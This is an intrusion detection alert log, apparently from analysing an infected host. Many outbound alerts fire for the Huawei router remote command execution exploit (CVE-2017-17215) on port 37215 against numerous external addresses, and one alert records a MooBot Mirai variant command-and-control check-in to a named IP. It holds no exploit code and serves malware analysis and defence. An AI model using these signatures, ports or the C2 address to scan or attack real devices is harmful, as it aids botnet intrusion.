2024-08-01T15:36:18.249465+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59976	37215	192.168.2.14	95.150.20.198
2024-08-01T15:35:21.905852+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41560	37215	192.168.2.14	157.52.248.164
2024-08-01T15:36:18.260422+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57078	37215	192.168.2.14	157.255.159.229
2024-08-01T15:35:53.373762+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60282	37215	192.168.2.14	78.217.164.135
2024-08-01T15:36:09.902857+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42276	37215	192.168.2.14	157.234.163.50
2024-08-01T15:35:16.760878+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48282	37215	192.168.2.14	41.78.39.108
2024-08-01T15:36:24.448999+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36614	37215	192.168.2.14	41.116.164.64
2024-08-01T15:35:28.718464+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57972	37215	192.168.2.14	197.235.114.191
2024-08-01T15:35:58.622518+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45246	37215	192.168.2.14	184.10.27.4
2024-08-01T15:36:22.370022+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44156	37215	192.168.2.14	197.50.167.162
2024-08-01T15:35:21.954972+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38392	37215	192.168.2.14	41.19.42.246
2024-08-01T15:36:34.858466+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60724	37215	192.168.2.14	197.218.33.223
2024-08-01T15:36:59.998406+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48816	37215	192.168.2.14	88.162.195.28
2024-08-01T15:36:39.432838+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56696	37215	192.168.2.14	41.83.117.101
2024-08-01T15:36:30.755645+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38212	37215	192.168.2.14	157.247.61.90
2024-08-01T15:35:20.575033+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43280	37215	192.168.2.14	197.121.57.225
2024-08-01T15:36:01.465169+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53746	37215	192.168.2.14	146.35.234.81
2024-08-01T15:35:16.901508+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56278	37215	192.168.2.14	197.103.193.138
2024-08-01T15:36:09.887206+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55674	37215	192.168.2.14	157.150.142.241
2024-08-01T15:35:20.545734+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44656	37215	192.168.2.14	197.127.161.143
2024-08-01T15:35:16.857844+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53200	37215	192.168.2.14	157.133.24.232
2024-08-01T15:35:28.717051+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60504	37215	192.168.2.14	41.164.159.32
2024-08-01T15:35:43.357689+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37604	37215	192.168.2.14	41.164.93.61
2024-08-01T15:36:39.033738+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58310	37215	192.168.2.14	31.233.128.73
2024-08-01T15:35:59.289697+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52546	37215	192.168.2.14	41.175.101.100
2024-08-01T15:36:57.530094+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37282	37215	192.168.2.14	120.47.208.174
2024-08-01T15:35:45.518104+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45860	37215	192.168.2.14	157.230.251.221
2024-08-01T15:35:50.270032+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41990	37215	192.168.2.14	41.125.204.133
2024-08-01T15:35:21.905811+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50164	37215	192.168.2.14	41.100.224.123
2024-08-01T15:35:20.207686+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47452	37215	192.168.2.14	157.19.219.96
2024-08-01T15:36:16.220546+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54152	37215	192.168.2.14	41.106.138.184
2024-08-01T15:35:20.206543+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36202	37215	192.168.2.14	187.160.51.75
2024-08-01T15:35:21.918300+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37484	37215	192.168.2.14	157.32.148.252
2024-08-01T15:36:44.213074+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57482	37215	192.168.2.14	157.161.212.164
2024-08-01T15:35:54.406965+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49764	37215	192.168.2.14	197.20.159.17
2024-08-01T15:36:22.458923+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57994	37215	192.168.2.14	181.55.33.223
2024-08-01T15:35:45.259278+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50258	37215	192.168.2.14	41.17.39.149
2024-08-01T15:36:30.755600+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56108	37215	192.168.2.14	41.133.171.213
2024-08-01T15:36:18.260504+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49014	37215	192.168.2.14	197.188.173.137
2024-08-01T15:35:21.862323+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34878	37215	192.168.2.14	197.113.68.40
2024-08-01T15:36:46.400277+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48346	37215	192.168.2.14	164.159.85.159
2024-08-01T15:36:49.714512+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51888	37215	192.168.2.14	41.202.89.150
2024-08-01T15:35:50.298389+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47090	37215	192.168.2.14	94.172.153.150
2024-08-01T15:35:54.420941+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40026	37215	192.168.2.14	157.138.55.28
2024-08-01T15:35:53.373000+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57880	37215	192.168.2.14	126.215.127.104
2024-08-01T15:35:16.938041+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53750	37215	192.168.2.14	197.118.161.155
2024-08-01T15:35:37.198792+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57312	37215	192.168.2.14	218.52.165.167
2024-08-01T15:36:26.858057+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40292	37215	192.168.2.14	76.196.177.134
2024-08-01T15:36:36.978342+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51194	37215	192.168.2.14	69.98.158.77
2024-08-01T15:35:16.729248+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56996	37215	192.168.2.14	157.60.145.99
2024-08-01T15:35:20.207342+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44562	37215	192.168.2.14	41.173.175.247
2024-08-01T15:35:16.859757+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57814	37215	192.168.2.14	197.190.3.77
2024-08-01T15:36:56.240965+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57510	37215	192.168.2.14	41.42.168.186
2024-08-01T15:35:20.545263+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58756	37215	192.168.2.14	157.53.30.186
2024-08-01T15:36:24.466309+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40526	37215	192.168.2.14	197.64.90.1
2024-08-01T15:35:54.403500+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49522	37215	192.168.2.14	182.99.100.112
2024-08-01T15:36:37.061832+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47292	37215	192.168.2.14	157.222.47.191
2024-08-01T15:35:20.214936+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36502	37215	192.168.2.14	157.196.70.246
2024-08-01T15:36:14.828245+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49528	37215	192.168.2.14	41.182.164.191
2024-08-01T15:35:21.835662+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45806	37215	192.168.2.14	157.141.178.189
2024-08-01T15:35:56.488969+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60182	37215	192.168.2.14	41.225.88.44
2024-08-01T15:35:50.233749+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44430	37215	192.168.2.14	157.169.78.208
2024-08-01T15:36:26.560093+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41794	37215	192.168.2.14	66.101.237.200
2024-08-01T15:35:20.545775+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35678	37215	192.168.2.14	208.8.183.194
2024-08-01T15:35:32.992472+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46186	37215	192.168.2.14	41.252.74.66
2024-08-01T15:36:24.465154+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38884	37215	192.168.2.14	157.136.142.158
2024-08-01T15:35:33.083474+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52516	37215	192.168.2.14	41.84.102.209
2024-08-01T15:35:21.928413+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56406	37215	192.168.2.14	150.104.237.3
2024-08-01T15:35:50.277999+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46768	37215	192.168.2.14	197.56.105.110
2024-08-01T15:35:20.203135+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34698	37215	192.168.2.14	157.253.143.41
2024-08-01T15:35:20.210070+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49734	37215	192.168.2.14	41.149.139.9
2024-08-01T15:35:21.890672+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55546	37215	192.168.2.14	41.107.94.48
2024-08-01T15:36:09.912028+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58034	37215	192.168.2.14	197.48.54.107
2024-08-01T15:35:20.202619+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52190	37215	192.168.2.14	41.26.100.186
2024-08-01T15:36:22.455130+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38030	37215	192.168.2.14	41.150.194.247
2024-08-01T15:35:20.216562+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41412	37215	192.168.2.14	197.127.165.110
2024-08-01T15:35:21.928327+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34470	37215	192.168.2.14	41.28.192.174
2024-08-01T15:36:18.261274+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48618	37215	192.168.2.14	157.144.247.11
2024-08-01T15:35:43.353425+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46376	37215	192.168.2.14	157.192.129.147
2024-08-01T15:35:33.066717+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46072	37215	192.168.2.14	47.18.126.125
2024-08-01T15:36:24.448696+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39500	37215	192.168.2.14	85.22.185.1
2024-08-01T15:35:20.204458+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36092	37215	192.168.2.14	157.239.173.146
2024-08-01T15:35:20.209644+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51826	37215	192.168.2.14	157.112.241.123
2024-08-01T15:35:43.429784+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47842	37215	192.168.2.14	197.210.55.106
2024-08-01T15:36:09.889635+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42614	37215	192.168.2.14	108.95.164.118
2024-08-01T15:35:17.241293+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43540	37215	192.168.2.14	41.91.200.66
2024-08-01T15:35:20.206998+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37714	37215	192.168.2.14	197.233.134.99
2024-08-01T15:36:32.905357+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33444	37215	192.168.2.14	197.16.61.67
2024-08-01T15:36:04.543581+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36434	37215	192.168.2.14	157.99.72.249
2024-08-01T15:36:20.172247+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44162	37215	192.168.2.14	148.253.226.188
2024-08-01T15:36:22.456068+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49728	37215	192.168.2.14	197.92.246.255
2024-08-01T15:36:57.545024+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54006	37215	192.168.2.14	41.188.227.70
2024-08-01T15:36:49.564674+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46538	37215	192.168.2.14	157.176.210.53
2024-08-01T15:36:22.340047+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49568	37215	192.168.2.14	157.152.254.50
2024-08-01T15:36:24.791483+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43614	37215	192.168.2.14	86.225.13.174
2024-08-01T15:35:16.399073+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39804	37215	192.168.2.14	38.93.44.240
2024-08-01T15:35:20.209304+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46388	37215	192.168.2.14	157.158.84.141
2024-08-01T15:35:53.372660+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40926	37215	192.168.2.14	197.13.26.166
2024-08-01T15:36:46.309783+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32908	37215	192.168.2.14	41.238.222.22
2024-08-01T15:36:39.033861+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44496	37215	192.168.2.14	197.72.131.41
2024-08-01T15:35:20.209046+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35866	37215	192.168.2.14	157.55.99.228
2024-08-01T15:35:16.775546+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49810	37215	192.168.2.14	41.143.18.123
2024-08-01T15:35:45.405036+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41802	37215	192.168.2.14	83.203.192.116
2024-08-01T15:36:06.680959+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34892	37215	192.168.2.14	41.238.58.237
2024-08-01T15:36:39.037817+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44872	37215	192.168.2.14	41.56.170.47
2024-08-01T15:35:20.209214+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42938	37215	192.168.2.14	41.88.166.205
2024-08-01T15:36:14.890162+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51378	37215	192.168.2.14	197.35.61.158
2024-08-01T15:36:28.744265+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47826	37215	192.168.2.14	71.229.196.52
2024-08-01T15:35:17.250391+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37200	37215	192.168.2.14	197.162.84.249
2024-08-01T15:36:11.900830+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37974	37215	192.168.2.14	188.85.0.26
2024-08-01T15:35:21.909788+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37582	37215	192.168.2.14	126.100.155.189
2024-08-01T15:36:01.468508+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59142	37215	192.168.2.14	41.173.199.106
2024-08-01T15:36:22.355858+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43554	37215	192.168.2.14	157.63.46.60
2024-08-01T15:35:20.575041+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58516	37215	192.168.2.14	157.132.71.173
2024-08-01T15:36:01.466632+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56884	37215	192.168.2.14	126.246.84.120
2024-08-01T15:36:16.216060+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41284	37215	192.168.2.14	197.163.81.100
2024-08-01T15:36:18.249605+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35026	37215	192.168.2.14	197.50.183.170
2024-08-01T15:35:20.207424+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49456	37215	192.168.2.14	41.125.82.183
2024-08-01T15:35:32.994089+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42068	37215	192.168.2.14	157.62.81.195
2024-08-01T15:35:20.204119+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54428	37215	192.168.2.14	105.61.187.232
2024-08-01T15:36:51.579604+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39966	37215	192.168.2.14	41.155.255.225
2024-08-01T15:36:56.136728+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59430	37215	192.168.2.14	157.78.151.94
2024-08-01T15:36:57.623676+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60916	37215	192.168.2.14	197.147.139.25
2024-08-01T15:36:01.672963+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45796	37215	192.168.2.14	197.74.206.140
2024-08-01T15:36:43.201227+0200	TCP	2030490	ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	40022	56999	192.168.2.14	103.238.235.163
2024-08-01T15:35:17.038346+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50270	37215	192.168.2.14	157.136.241.140
2024-08-01T15:36:28.682226+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35484	37215	192.168.2.14	157.145.235.243
2024-08-01T15:36:51.586981+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59168	37215	192.168.2.14	197.97.218.105
2024-08-01T15:35:21.892200+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33580	37215	192.168.2.14	157.164.69.172
2024-08-01T15:35:28.720648+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48252	37215	192.168.2.14	41.208.251.69
2024-08-01T15:35:23.806371+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47720	37215	192.168.2.14	41.60.234.106
2024-08-01T15:35:50.747707+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42570	37215	192.168.2.14	117.216.217.88
2024-08-01T15:35:58.683291+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40024	37215	192.168.2.14	41.52.65.208
2024-08-01T15:36:49.752347+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43396	37215	192.168.2.14	157.139.36.132
2024-08-01T15:36:56.327625+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52990	37215	192.168.2.14	197.79.106.184
2024-08-01T15:36:57.542382+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49862	37215	192.168.2.14	157.125.157.42
2024-08-01T15:35:17.171038+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48254	37215	192.168.2.14	41.114.115.214
2024-08-01T15:36:01.465141+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55040	37215	192.168.2.14	122.13.139.63
2024-08-01T15:35:20.575213+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58784	37215	192.168.2.14	157.164.17.192
2024-08-01T15:35:23.791642+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50216	37215	192.168.2.14	41.3.105.248
2024-08-01T15:35:50.296349+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59646	37215	192.168.2.14	188.29.255.240
2024-08-01T15:35:20.208915+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58496	37215	192.168.2.14	197.38.139.56
2024-08-01T15:35:50.297283+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49868	37215	192.168.2.14	157.220.156.230
2024-08-01T15:35:53.373324+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37802	37215	192.168.2.14	197.108.37.197
2024-08-01T15:36:52.652883+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37946	37215	192.168.2.14	41.36.226.211
2024-08-01T15:35:20.214887+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43032	37215	192.168.2.14	41.191.132.216
2024-08-01T15:36:16.184419+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37740	37215	192.168.2.14	4.116.171.146
2024-08-01T15:35:35.121122+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42516	37215	192.168.2.14	157.149.168.50
2024-08-01T15:36:16.183485+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47662	37215	192.168.2.14	200.246.215.222
2024-08-01T15:36:53.733924+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51772	37215	192.168.2.14	41.145.48.231
2024-08-01T15:35:20.210111+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57040	37215	192.168.2.14	41.139.143.29
2024-08-01T15:35:20.208829+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51770	37215	192.168.2.14	157.222.169.28
2024-08-01T15:36:22.454912+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39658	37215	192.168.2.14	197.48.239.62
2024-08-01T15:36:36.600521+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52816	37215	192.168.2.14	1.243.238.129
2024-08-01T15:35:28.720820+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36580	37215	192.168.2.14	197.133.232.82
2024-08-01T15:35:20.205102+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59558	37215	192.168.2.14	200.72.248.194
2024-08-01T15:35:21.830927+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33676	37215	192.168.2.14	41.235.2.64
2024-08-01T15:35:17.039964+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56328	37215	192.168.2.14	41.151.182.180
2024-08-01T15:35:35.138628+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53860	37215	192.168.2.14	157.131.73.36
2024-08-01T15:35:17.170866+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39008	37215	192.168.2.14	197.67.20.98
2024-08-01T15:35:40.237251+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50238	37215	192.168.2.14	157.86.134.204
2024-08-01T15:35:20.204250+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45042	37215	192.168.2.14	157.141.216.101
2024-08-01T15:35:40.230259+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44554	37215	192.168.2.14	197.173.155.139
2024-08-01T15:35:50.286224+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56944	37215	192.168.2.14	62.222.130.145
2024-08-01T15:36:52.688020+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43312	37215	192.168.2.14	41.69.114.77
2024-08-01T15:35:40.240466+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45186	37215	192.168.2.14	70.8.26.199
